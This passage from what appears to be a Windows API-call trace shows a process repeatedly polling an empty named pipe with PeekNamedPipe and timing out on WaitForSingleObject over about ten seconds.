(hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0092.255] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0092.255] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0092.285] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0092.285] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0092.316] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0092.317] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0092.374] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0092.374] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0092.394] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0092.395] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0092.426] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0092.426] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0092.457] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0092.457] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0092.488] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0092.488] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0092.520] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0092.520] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0092.550] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0092.551] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0092.610] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0092.610] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0092.681] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0092.784] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0092.800] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0092.800] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0092.831] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0092.831] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0092.863] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0092.863] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0092.896] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0092.896] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0092.928] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0092.929] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0093.135] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0093.135] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0093.333] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0093.333] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0094.301] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0094.301] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0094.329] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0094.329] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0094.360] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0094.360] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0094.419] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0094.419] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0094.438] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0094.440] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0094.480] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0094.481] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0094.553] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0094.553] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0094.606] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0094.606] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0094.671] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0094.671] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0094.825] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0094.825] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0094.845] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0094.845] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0094.885] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0094.885] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0094.906] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0094.906] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0094.938] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0094.938] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0095.017] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0095.017] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0095.053] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0095.053] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0096.523] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0096.523] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0096.636] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0096.637] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0096.656] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0096.662] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0097.125] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0097.132] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0097.155] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0097.155] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0098.202] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0098.203] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0098.360] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0098.360] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0098.404] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0098.404] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0098.469] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0098.471] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0098.510] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0098.510] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0098.635] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0098.635] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0098.683] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0098.685] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0099.127] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0099.134] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0099.172] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0099.172] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0099.215] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0099.215] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0100.129] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0100.129] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0100.424] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0100.424] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0100.453] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0100.453] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0100.516] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0100.516] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0100.594] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0100.594] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0100.626] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0100.626] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0100.768] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0100.769] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0100.789] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0100.789] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0100.891] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0100.891] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0101.205] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0101.206] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0101.225] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0101.225] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0101.257] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0101.257] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0101.287] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0101.287] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0101.318] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0101.318] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0101.849] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0101.849] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0101.882] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0101.882] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0101.983] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0101.984] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0102.095] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0102.095] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0102.481] 